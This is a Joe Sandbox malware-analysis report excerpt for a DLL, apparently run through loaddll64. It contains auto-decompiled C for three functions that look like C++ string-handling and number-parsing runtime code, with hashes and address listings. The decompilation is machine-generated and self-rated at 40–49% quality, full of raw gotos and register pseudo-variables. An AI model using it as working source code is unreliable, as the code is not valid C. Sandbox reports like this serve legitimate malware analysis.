Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d266753878d099352c440ad7ca346e4687f286913e8b3a6842572f5f5984201
Instruction ID: 3003f54265bf6881efa9e20161170dd2205d5c1bfdfeafad117c28397ee07386
Opcode Fuzzy Hash: 0d266753878d099352c440ad7ca346e4687f286913e8b3a6842572f5f5984201
Instruction Fuzzy Hash: 54F0C8B17183539ADB958F28A446A293BE0EB08780F608439D69DC7B14C63C90909F04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E3240 Relevance: 55.8, APIs: 37, Instructions: 252
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00007FFE7FFE354E3240(void* __edx, void* __eflags, long long __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32, intOrPtr _a40, long long _a48) {
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				long long _v72;
				long long _v80;
				long long _v88;
				long long _v96;
				long long _v104;
				long long _v112;
				long long _v120;
				long long _v128;
				long long _v136;
				long long _t207;
				intOrPtr* _t209;
				intOrPtr _t218;
				intOrPtr _t221;
				long long _t223;
				void* _t225;
				intOrPtr _t228;
				long long _t229;
				void* _t230;
				intOrPtr _t235;
				long long _t237;
				void* _t239;
				void* _t243;
				long long _t245;
				void* _t247;
				long long _t248;
				void* _t249;
				long long _t250;
				void* _t251;
				long long _t257;

				_t207 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				E00007FFE7FFE354E21F0(__eflags, __rax, _a8, _a16);
				E00007FFE7FFE354E21F0(__eflags, __rax, _a32, _a40);
				E00007FFE7FFE354E2400(__eflags, __rax, _a8, _a16, _a24);
				_a24 = _t207;
				E00007FFE7FFE354E2400(__eflags, _t207, _a32, _a40, _a48);
				_a48 = _t207;
				_t209 = 0xffffffff - _a48;
				_v120 = 0xffffffff;
				E00007FFE7FFE354E2170(_t209, _a8);
				_t211 =  *_t209 - _a24;
				if (_v120 - 0xffffffff > 0) goto 0x354e3315;
				E00007FFE7FFE354E2230(_a8);
				E00007FFE7FFE354E2170( *_t209 - _a24, _a8);
				_v136 = 0xffffffff;
				E00007FFE7FFE354E2170( *_t211 - _a24 - _a16, _a8);
				_v128 = 0xffffffff;
				E00007FFE7FFE354E2170( *((intOrPtr*)( *_t211 - _a24 - _a16)) + _a48 - _a24, _a8);
				if ( *0xffffffff - _v128 >= 0) goto 0x354e338e;
				r8d = 0;
				E00007FFE7FFE354E22B0( *((intOrPtr*)( *_t211 - _a24 - _a16)) + _a48 - _a24, _a8, _v128);
				_t218 = _a24;
				if (_a48 != _t218) goto 0x354e33ec;
				E00007FFE7FFE354E18D0(_t218, _a32);
				_v112 = _t218 + _a40;
				E00007FFE7FFE354E18F0(_t218 + _a40, _a8);
				E00007FFE7FFE354E1230(_t218 + _a40 + _a16, _v112, _a48);
				goto 0x354e3810;
				_t221 = _a32;
				if (_a8 == _t221) goto 0x354e34a2;
				E00007FFE7FFE354E18F0(_t221, _a8);
				_t223 = _t221 + _a16 + _a24;
				_v104 = _t223;
				E00007FFE7FFE354E18F0(_t223, _a8);
				_t225 = _t223 + _a16 + _a48;
				E00007FFE7FFE354E1230(_t225, _v104, _v136);
				E00007FFE7FFE354E18D0(_t225, _a32);
				_v96 = _t225 + _a40;
				E00007FFE7FFE354E18F0(_t225 + _a40, _a8);
				E00007FFE7FFE354E11E0(_t225 + _a40 + _a16, _v96, _a48);
				goto 0x354e3810;
				_t228 = _a24;
				if (_a48 - _t228 >= 0) goto 0x354e3558;
				E00007FFE7FFE354E18F0(_t228, _a8);
				_t229 = _t228 + _a40;
				_v88 = _t229;
				E00007FFE7FFE354E18F0(_t229, _a8);
				_t230 = _t229 + _a16;
				E00007FFE7FFE354E1230(_t230, _v88, _a48);
				E00007FFE7FFE354E18F0(_t230, _a8);
				_v80 = _t230 + _a16 + _a24;
				E00007FFE7FFE354E18F0(_t230 + _a16 + _a24, _a8);
				E00007FFE7FFE354E1230(_t230 + _a16 + _a24 + _a16 + _a48, _v80, _v136);
				goto 0x354e3810;
				_t235 = _a16;
				if (_a40 - _t235 > 0) goto 0x354e360e;
				E00007FFE7FFE354E18F0(_t235, _a8);
				_t237 = _t235 + _a16 + _a24;
				_v72 = _t237;
				E00007FFE7FFE354E18F0(_t237, _a8);
				_t239 = _t237 + _a16 + _a48;
				E00007FFE7FFE354E1230(_t239, _v72, _v136);
				E00007FFE7FFE354E18F0(_t239, _a8);
				_v64 = _t239 + _a40;
				E00007FFE7FFE354E18F0(_t239 + _a40, _a8);
				E00007FFE7FFE354E1230(_t239 + _a40 + _a16, _v64, _a48);
				goto 0x354e3810;
				_t243 = _a16 + _a24;
				if (_t243 - _a40 > 0) goto 0x354e36eb;
				E00007FFE7FFE354E18F0(_t243, _a8);
				_t245 = _t243 + _a16 + _a24;
				_v56 = _t245;
				E00007FFE7FFE354E18F0(_t245, _a8);
				_t247 = _t245 + _a16 + _a48;
				E00007FFE7FFE354E1230(_t247, _v56, _v136);
				E00007FFE7FFE354E18F0(_t247, _a8);
				_t248 = _t247 + _a40 + _a48 - _a24;
				_v48 = _t248;
				E00007FFE7FFE354E18F0(_t248, _a8);
				_t249 = _t248 + _a16;
				E00007FFE7FFE354E1230(_t249, _v48, _a48);
				goto 0x354e3810;
				E00007FFE7FFE354E18F0(_t249, _a8);
				_t250 = _t249 + _a40;
				_v40 = _t250;
				E00007FFE7FFE354E18F0(_t250, _a8);
				_t251 = _t250 + _a16;
				E00007FFE7FFE354E1230(_t251, _v40, _a24);
				E00007FFE7FFE354E18F0(_t251, _a8);
				_v32 = _t251 + _a16 + _a24;
				E00007FFE7FFE354E18F0(_t251 + _a16 + _a24, _a8);
				E00007FFE7FFE354E1230(_t251 + _a16 + _a24 + _a16 + _a48, _v32, _v136);
				_t257 = _a48 - _a24;
				_v24 = _t257;
				E00007FFE7FFE354E18F0(_t257, _a8);
				_t259 = _t257 + _a40 + _a48;
				_v16 = _t257 + _a40 + _a48;
				E00007FFE7FFE354E18F0(_t257 + _a40 + _a48, _a8);
				E00007FFE7FFE354E1230(_t259 + _a16 + _a24, _v16, _v24);
				return E00007FFE7FFE354E23A0(_t259 + _a16 + _a24, _a8, _v128);
			}

0x7ffe354e3240
0x7ffe354e3240
0x7ffe354e3245
0x7ffe354e324a
0x7ffe354e324f
0x7ffe354e326b
0x7ffe354e3280
0x7ffe354e329d
0x7ffe354e32a2
0x7ffe354e32c2
0x7ffe354e32c7
0x7ffe354e32d6
0x7ffe354e32de
0x7ffe354e32eb
0x7ffe354e32fb
0x7ffe354e3306
0x7ffe354e3310
0x7ffe354e331d
0x7ffe354e3338
0x7ffe354e3345
0x7ffe354e335d
0x7ffe354e336a
0x7ffe354e3377
0x7ffe354e3379
0x7ffe354e3389
0x7ffe354e338e
0x7ffe354e339e
0x7ffe354e33a8
0x7ffe354e33b5
0x7ffe354e33c2
0x7ffe354e33e2
0x7ffe354e33e7
0x7ffe354e33ec
0x7ffe354e33fc
0x7ffe354e340a
0x7ffe354e3417
0x7ffe354e341f
0x7ffe354e342c
0x7ffe354e3439
0x7ffe354e3451
0x7ffe354e345e
0x7ffe354e346b
0x7ffe354e3478
0x7ffe354e3498
0x7ffe354e349d
0x7ffe354e34a2
0x7ffe354e34b2
0x7ffe354e34c0
0x7ffe354e34c5
0x7ffe354e34cd
0x7ffe354e34da
0x7ffe354e34df
0x7ffe354e34fa
0x7ffe354e3507
0x7ffe354e351c
0x7ffe354e3529
0x7ffe354e354e
0x7ffe354e3553
0x7ffe354e3558
0x7ffe354e3568
0x7ffe354e3576
0x7ffe354e3583
0x7ffe354e358b
0x7ffe354e3598
0x7ffe354e35a5
0x7ffe354e35bd
0x7ffe354e35ca
0x7ffe354e35d7
0x7ffe354e35e4
0x7ffe354e3604
0x7ffe354e3609
0x7ffe354e3621
0x7ffe354e362c
0x7ffe354e363a
0x7ffe354e3647
0x7ffe354e364f
0x7ffe354e365c
0x7ffe354e3669
0x7ffe354e3681
0x7ffe354e368e
0x7ffe354e36b1
0x7ffe354e36b4
0x7ffe354e36c1
0x7ffe354e36c6
0x7ffe354e36e1
0x7ffe354e36e6
0x7ffe354e36f3
0x7ffe354e36f8
0x7ffe354e3700
0x7ffe354e3710
0x7ffe354e3715
0x7ffe354e3733
0x7ffe354e3740
0x7ffe354e3755
0x7ffe354e3765
0x7ffe354e378d
0x7ffe354e37a5
0x7ffe354e37a8
0x7ffe354e37b8
0x7ffe354e37c5
0x7ffe354e37cd
0x7ffe354e37dd
0x7ffe354e380b
0x7ffe354e3831

APIs

Part of subcall function 00007FFE354E21F0: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E2217

Part of subcall function 00007FFE354E2170: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E217E

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E3310
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E33A8
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E33C2
char_traits.LIBCPMTD ref: 00007FFE354E33E2
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E342C
char_traits.LIBCPMTD ref: 00007FFE354E3451
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E345E

Part of subcall function 00007FFE354E18D0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E18DE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E3478
char_traits.LIBCPMTD ref: 00007FFE354E3498
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E340A

Part of subcall function 00007FFE354E18F0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E18FE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E34C0
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E34DA
char_traits.LIBCPMTD ref: 00007FFE354E34FA
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E3507
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E3529
char_traits.LIBCPMTD ref: 00007FFE354E354E

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::details::Work$Base::ContextIdentityQueue$char_traits$EmptyQueue::Structured$Mtx_guardMtx_guard::~_
String ID:
API String ID: 1550686663-0
Opcode ID: 6fddd8db350bc00e0fa7d7ec8e822f1350b5388c6aacc03662ae6e3237efefb8
Instruction ID: e7b4e70b2b191182ca9265f28d3c809f3b2eea6c54195e4329bcc406ac0ce416
Opcode Fuzzy Hash: 6fddd8db350bc00e0fa7d7ec8e822f1350b5388c6aacc03662ae6e3237efefb8
Instruction Fuzzy Hash: B9D1B676A1DBC281DA74DB55F8953AEB761FBC8F84F104126DA8E43B6ADF2CD0409B01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E2FC0 Relevance: 15.1, APIs: 10, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00007FFE7FFE354E2FC0(void* __edx, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32, long long _a40) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				long long _v72;
				long long _t100;
				intOrPtr* _t102;
				intOrPtr* _t104;
				long long _t108;
				long long _t110;
				intOrPtr* _t112;
				intOrPtr _t116;
				long long _t118;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if ((E00007FFE7FFE354E2250(__rax, _a8, _a32) & 0x000000ff) == 0) goto 0x354e303c;
				E00007FFE7FFE354E18F0(__rax, _a8);
				_t100 = _a32 - __rax;
				_v64 = _a40;
				_v72 = _t100;
				E00007FFE7FFE354E3240(__edx, E00007FFE7FFE354E2250(__rax, _a8, _a32) & 0x000000ff, _t100, _a8, _a16, _a24, _a8);
				goto 0x354e3214;
				E00007FFE7FFE354E21F0(E00007FFE7FFE354E2250(__rax, _a8, _a32) & 0x000000ff, _t100, _a8, _a16);
				E00007FFE7FFE354E2400(E00007FFE7FFE354E2250(__rax, _a8, _a32) & 0x000000ff, _t100, _a8, _a16, _a24);
				_a24 = _t100;
				_t102 = 0xffffffff - _a40;
				_v40 = 0xffffffff;
				E00007FFE7FFE354E2170(_t102, _a8);
				_t104 =  *_t102 - _a24;
				if (_v40 - 0xffffffff > 0) goto 0x354e30aa;
				E00007FFE7FFE354E2230(_a8);
				E00007FFE7FFE354E2170(_t104, _a8);
				_v56 =  *_t104 - _a24 - _a16;
				_t108 = _a24;
				if (_a40 - _t108 >= 0) goto 0x354e3126;
				E00007FFE7FFE354E18F0(_t108, _a8);
				_t110 = _t108 + _a16 + _a24;
				_v32 = _t110;
				E00007FFE7FFE354E18F0(_t110, _a8);
				_t112 = _t110 + _a16 + _a40;
				E00007FFE7FFE354E1230(_t112, _v32, _v56);
				E00007FFE7FFE354E2170(_t112, _a8);
				_v48 =  *_t112 + _a40 - _a24;
				if (_a40 > 0) goto 0x354e3162;
				if (_a24 <= 0) goto 0x354e320f;
				r8d = 0;
				if ((E00007FFE7FFE354E22B0( *_t112 + _a40 - _a24, _a8, _v48) & 0x000000ff) == 0) goto 0x354e320f;
				_t116 = _a40;
				if (_a24 - _t116 >= 0) goto 0x354e31d9;
				E00007FFE7FFE354E18F0(_t116, _a8);
				_t118 = _t116 + _a16 + _a24;
				_v24 = _t118;
				E00007FFE7FFE354E18F0(_t118, _a8);
				_t120 = _t118 + _a16 + _a40;
				E00007FFE7FFE354E1230(_t118 + _a16 + _a40, _v24, _v56);
				E00007FFE7FFE354E18F0(_t118 + _a16 + _a40, _a8);
				E00007FFE7FFE354E11E0(_t120 + _a16, _a32, _a40);
				return E00007FFE7FFE354E23A0(_t120 + _a16, _a8, _v48);
			}

0x7ffe354e2fc0
0x7ffe354e2fc5
0x7ffe354e2fca
0x7ffe354e2fcf
0x7ffe354e2fef
0x7ffe354e2ff6
0x7ffe354e3006
0x7ffe354e3011
0x7ffe354e3016
0x7ffe354e3032
0x7ffe354e3037
0x7ffe354e3046
0x7ffe354e305d
0x7ffe354e3062
0x7ffe354e3071
0x7ffe354e3079
0x7ffe354e3083
0x7ffe354e3093
0x7ffe354e309e
0x7ffe354e30a5
0x7ffe354e30af
0x7ffe354e30c7
0x7ffe354e30cc
0x7ffe354e30dc
0x7ffe354e30e3
0x7ffe354e30ed
0x7ffe354e30f5
0x7ffe354e30ff
0x7ffe354e3109
0x7ffe354e3121
0x7ffe354e312b
0x7ffe354e3143
0x7ffe354e3151
0x7ffe354e315c
0x7ffe354e3162
0x7ffe354e3179
0x7ffe354e317f
0x7ffe354e318f
0x7ffe354e3196
0x7ffe354e31a0
0x7ffe354e31a8
0x7ffe354e31b2
0x7ffe354e31bc
0x7ffe354e31d4
0x7ffe354e31de
0x7ffe354e31fb
0x7ffe354e3218

APIs

Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E226B
Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E227C

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E2FF6

Part of subcall function 00007FFE354E18F0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E18FE

Part of subcall function 00007FFE354E3240: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E3310
Part of subcall function 00007FFE354E3240: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E33A8
Part of subcall function 00007FFE354E3240: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E33C2
Part of subcall function 00007FFE354E3240: char_traits.LIBCPMTD ref: 00007FFE354E33E2

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E30A5
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E30E3
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E30FF
char_traits.LIBCPMTD ref: 00007FFE354E3121
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E3196
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E31B2
char_traits.LIBCPMTD ref: 00007FFE354E31D4
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E31DE
char_traits.LIBCPMTD ref: 00007FFE354E31FB

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::details::Work$Base::ContextIdentityQueue$char_traits$Mtx_guardMtx_guard::~_$EmptyQueue::Structured
String ID:
API String ID: 4284633421-0
Opcode ID: f0975427a75d2d34f6acfc41e81dde88df83928edc9a6f38a481e59775bea447
Instruction ID: cca6e12dd6fab9c7141c2b39766a912541ce3ac084f711d4be6eb0356d18ffa5
Opcode Fuzzy Hash: f0975427a75d2d34f6acfc41e81dde88df83928edc9a6f38a481e59775bea447
Instruction Fuzzy Hash: 2751BF36A1CBC282DA54DB69E45536EA7A0FBC4F80F215126EBCE47B79DE2CD4419B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E893C Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 489
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00007FFE7FFE354E893C(signed short* __rax, long long __rbx, long long __rcx, signed short** __rdx, void* __r8, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				long long _v160;
				long long _v168;
				void* __rsi;
				void* __rbp;
				void* _t155;
				void* _t185;
				signed short _t199;
				signed short _t200;
				signed int _t201;
				signed int _t250;
				signed int _t252;
				signed int _t254;
				signed int _t255;
				signed int _t258;
				signed int _t261;
				signed short* _t380;
				signed short* _t381;
				signed short* _t382;
				signed short* _t384;
				signed short** _t385;
				long long _t386;
				long long* _t389;
				signed short* _t390;
				long long* _t394;
				long long* _t395;
				long long* _t396;
				signed short** _t397;
				void* _t398;
				void* _t399;
				signed short* _t404;
				signed short* _t405;
				long long _t406;
				signed short* _t407;
				long long _t408;
				intOrPtr _t409;

				_t403 = __r8;
				_t394 = __rdx;
				_t386 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t406 =  *((intOrPtr*)(__rdx));
				r13d = 0;
				_t255 = r9b & 0xffffffff;
				r14d = r8d;
				_v64 = _t406;
				_t397 = __rdx;
				if (_t406 != 0) goto 0x354e8987;
				E00007FFE7FFE354EB420(__rax);
				 *__rax = 0x16;
				E00007FFE7FFE354E9744();
				goto 0x354e89b9;
				if (r14d == 0) goto 0x354e89d1;
				_t4 = _t403 - 2; // -2
				if (_t4 - 0x22 <= 0) goto 0x354e89d1;
				_v160 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *(__rcx + 0x2c) = 0x16;
				_v168 = _t408;
				E00007FFE7FFE354E9674(__rax, __rbx, __rcx, __rdx, _t398, _t399, __r8);
				_t389 = _t397[1];
				if (_t389 == 0) goto 0x354e901d;
				 *_t389 =  *_t397;
				goto 0x354e901d;
				 *_t394 = _t406 + 2;
				_t260 = r13d;
				if ( *((intOrPtr*)(_t389 + 0x28)) != r13b) goto 0x354e89fb;
				0x354e9140();
				goto 0x354e89fb;
				_t378 =  *_t397;
				 *_t397 =  &(( *_t397)[1]);
				if (E00007FFE7FFE354EB244( *_t378 & 0xffff, 8, _t386, _t389) != 0) goto 0x354e89ee;
				_t257 =  !=  ? _t255 : _t255 | 0x00000002;
				if ((0x0000fffd & _t386 - 0x0000002b) != 0) goto 0x354e8a32;
				_t380 =  *_t397;
				_t199 =  *_t380 & 0x0000ffff;
				_t381 =  &(_t380[1]);
				 *_t397 = _t381;
				_a16 = 0xa70;
				_v152 = 0xae6;
				_v148 = 0xaf0;
				_v144 = 0xb66;
				r8d = 0x660;
				_v140 = 0xb70;
				_t20 = _t381 - 0x80; // 0x5e0
				r9d = _t20;
				_v136 = 0xc66;
				r10d = 0x6f0;
				_v132 = 0xc70;
				r11d = 0x966;
				_v128 = 0xce6;
				_v124 = 0xcf0;
				_v120 = 0xd66;
				_v116 = 0xd70;
				_v112 = 0xe50;
				_v108 = 0xe5a;
				_v104 = 0xed0;
				_v100 = 0xeda;
				_v96 = 0xf20;
				_v92 = 0xf2a;
				_v88 = 0x1040;
				_v84 = 0x104a;
				_v80 = 0x17e0;
				_v76 = 0x17ea;
				_v72 = 0x1810;
				_v68 = 0xff1a;
				if ((r14d & 0xffffffef) != 0) goto 0x354e8da0;
				if (_t199 - 0x30 < 0) goto 0x354e8cef;
				if (_t199 - 0x3a >= 0) goto 0x354e8b3e;
				goto 0x354e8cea;
				if (_t199 - 0xff10 >= 0) goto 0x354e8cdb;
				if (_t199 - r8w < 0) goto 0x354e8cef;
				if (_t199 - 0x66a >= 0) goto 0x354e8b66;
				goto 0x354e8cea;
				if (_t199 - r10w < 0) goto 0x354e8cef;
				if (_t199 - 0x6fa >= 0) goto 0x354e8b85;
				goto 0x354e8cea;
				if (_t199 - r11w < 0) goto 0x354e8cef;
				if (_t199 - 0x970 >= 0) goto 0x354e8ba4;
				goto 0x354e8cea;
				if (_t199 - r9w < 0) goto 0x354e8cef;
				if (_t199 - 0x9f0 >= 0) goto 0x354e8bc3;
				goto 0x354e8cea;
				if (_t199 - (_t199 & 0x0000ffff) - r9d < 0) goto 0x354e8cef;
				if (_t199 - _a16 >= 0) goto 0x354e8be3;
				goto 0x354e8cea;
				if (_t199 - _v152 < 0) goto 0x354e8cef;
				if (_t199 - _v148 < 0) goto 0x354e8b34;
				if (_t199 - _v144 < 0) goto 0x354e8cef;
				if (_t199 - _v140 < 0) goto 0x354e8b34;
				if (_t199 - _v136 < 0) goto 0x354e8cef;
				if (_t199 - _v132 < 0) goto 0x354e8b34;
				if (_t199 - _v128 < 0) goto 0x354e8cef;
				if (_t199 - _v124 < 0) goto 0x354e8b34;
				if (_t199 - _v120 < 0) goto 0x354e8cef;
				if (_t199 - _v116 < 0) goto 0x354e8b34;
				if (_t199 - _v112 < 0) goto 0x354e8cef;
				if (_t199 - _v108 < 0) goto 0x354e8b34;
				if (_t199 - _v104 < 0) goto 0x354e8cef;
				if (_t199 - _v100 < 0) goto 0x354e8b34;
				if (_t199 - _v96 < 0) goto 0x354e8cef;
				if (_t199 - _v92 < 0) goto 0x354e8b34;
				if (_t199 - _v88 < 0) goto 0x354e8cef;
				if (_t199 - _v84 < 0) goto 0x354e8b34;
				if (_t199 - _v80 < 0) goto 0x354e8cef;
				if (_t199 - _v76 < 0) goto 0x354e8b34;
				if ((_t199 & 0x0000ffff) - _v72 - 9 > 0) goto 0x354e8cef;
				goto 0x354e8b34;
				if (_t199 - _v68 >= 0) goto 0x354e8cef;
				if ((_t199 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0x354e8d11;
				_t64 = _t389 - 0x41; // -17
				_t65 = _t389 - 0x61; // -49
				_t155 = _t65;
				if (_t64 - 0x19 <= 0) goto 0x354e8d06;
				if (_t155 - 0x19 > 0) goto 0x354e8d91;
				if (_t155 - 0x19 > 0) goto 0x354e8d0e;
				_t66 = _t389 - 0x37; // -231
				if (_t66 != 0) goto 0x354e8d91;
				_t390 =  *_t397;
				r9d = 0xffdf;
				_t250 =  *_t390 & 0x0000ffff;
				_t67 =  &(_t390[1]); // 0xffe1
				_t404 = _t67;
				 *_t397 = _t404;
				_t68 = _t394 - 0x58; // 0x698
				if ((r9w & _t68) == 0) goto 0x354e8d79;
				 *_t397 = _t390;
				_t159 =  !=  ? r14d : 8;
				r14d =  !=  ? r14d : 8;
				if (_t250 == 0) goto 0x354e8d71;
				if ( *_t390 == _t250) goto 0x354e8d71;
				E00007FFE7FFE354EB420(_t381);
				 *_t381 = 0x16;
				E00007FFE7FFE354E9744();
				r8d = 0x660;
				r10d = 0x6f0;
				r11d = 0x966;
				goto 0x354e8da0;
				r8d = 0x660;
				goto 0x354e8da0;
				_t200 =  *_t404 & 0x0000ffff;
				_t71 =  &(_t404[1]); // 0xffe3
				_t382 = _t71;
				 *_t397 = _t382;
				r8d = 0x660;
				goto 0x354e8d96;
				_t164 =  !=  ? r14d : 0xa;
				r14d = 0xa;
				_t165 = ( !=  ? r14d : 0xa) | 0xffffffff;
				_t73 = (( !=  ? r14d : 0xa) | 0xffffffff) % r14d;
				_t252 = (( !=  ? r14d : 0xa) | 0xffffffff) % r14d;
				r12d = 0x30;
				r15d = 0xff10;
				r9d = 0xa / r14d;
				if (_t200 - r12w < 0) goto 0x354e8f70;
				if (_t200 - 0x3a >= 0) goto 0x354e8dd2;
				goto 0x354e8f6b;
				if (_t200 - r15w >= 0) goto 0x354e8f5b;
				if (_t200 - r8w < 0) goto 0x354e8f70;
				if (_t200 - 0x66a >= 0) goto 0x354e8dfb;
				goto 0x354e8f6b;
				if (_t200 - r10w < 0) goto 0x354e8f70;
				if (_t200 - 0x6fa >= 0) goto 0x354e8e1a;
				goto 0x354e8f6b;
				if (_t200 - r11w < 0) goto 0x354e8f70;
				if (_t200 - 0x970 >= 0) goto 0x354e8e39;
				goto 0x354e8f6b;
				if (_t200 - 0x9e6 < 0) goto 0x354e8f70;
				_t76 =  &(_t382[5]); // 0x9f0
				if (_t200 - _t76 >= 0) goto 0x354e8e59;
				goto 0x354e8f6b;
				if (_t200 - 0xa66 < 0) goto 0x354e8f70;
				if (_t200 - _a16 < 0) goto 0x354e8e4f;
				if (_t200 - _v152 < 0) goto 0x354e8f70;
				if (_t200 - _v148 < 0) goto 0x354e8e4f;
				if (_t200 - _v144 < 0) goto 0x354e8f70;
				if (_t200 - _v140 < 0) goto 0x354e8e4f;
				if (_t200 - _v136 < 0) goto 0x354e8f70;
				if (_t200 - _v132 < 0) goto 0x354e8e4f;
				if (_t200 - _v128 < 0) goto 0x354e8f70;
				if (_t200 - _v124 < 0) goto 0x354e8e4f;
				if (_t200 - _v120 < 0) goto 0x354e8f70;
				if (_t200 - _v116 < 0) goto 0x354e8e4f;
				if (_t200 - _v112 < 0) goto 0x354e8f70;
				if (_t200 - _v108 < 0) goto 0x354e8e4f;
				if (_t200 - _v104 < 0) goto 0x354e8f70;
